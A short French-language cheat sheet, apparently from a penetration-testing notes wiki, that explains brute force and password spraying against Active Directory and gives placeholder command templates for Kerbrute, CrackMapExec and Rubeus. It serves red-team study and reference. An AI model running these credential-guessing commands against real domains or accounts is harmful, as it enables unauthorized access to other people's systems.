[Exploitation/AD] Password spraying et brute force

Introduction

Les attaques par **brute force** consistent à essayer une grande quantité de mots de passe sur un même compte alors que les attaques par **password spraying** vont essayer un ou plusieurs mots de passe sur une grande quantité de compte.

Là où l'attaque va être utilisée pour essayer d'accéder à un compte spécifique, l'attaque par password spraying va servir à obtenir un premier accès.

Brute force

Kerbrute

```
kerbrute bruteuser --dc <DC_IP> -d <DOMAIN_FQDN> <PASSWORD_LIST> <USERNAME>
```

CrackMapExec

```
crackmapexec <PROTOCOL> <IP> <USERNAME> -p <WORDLIST>
```

> Il supporte les protocoles **smb**, **http** et **mssql** .

Password spraying

Kerbrute

Pour essayer un mot de passe sur plusieurs comptes :

```
kerbrute passwordspray --dc <DC_IP> -d <DOMAIN_FQDN> <USERLIST> <PASSWORD>
```

Pour essayer des combos utilisateurs/mots de passe :

```
kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <COMBO_LIST>
```

> Le fichier **<COMBO_LIST>** doit respecté le format **USER:PASSWORD** .

CrackMapExec

```
crackmapexec <PROTOCOL> <IP> -u <USERLIST> -p <WORDLIST>
```

Rubeus

```
Rubeus.exe brute /password:<PASSWORD> /noticket
```

Revision #2
Created 3 May 2024 13:50:09 by Elieroc
Updated 3 May 2024 15:52:05 by Elieroc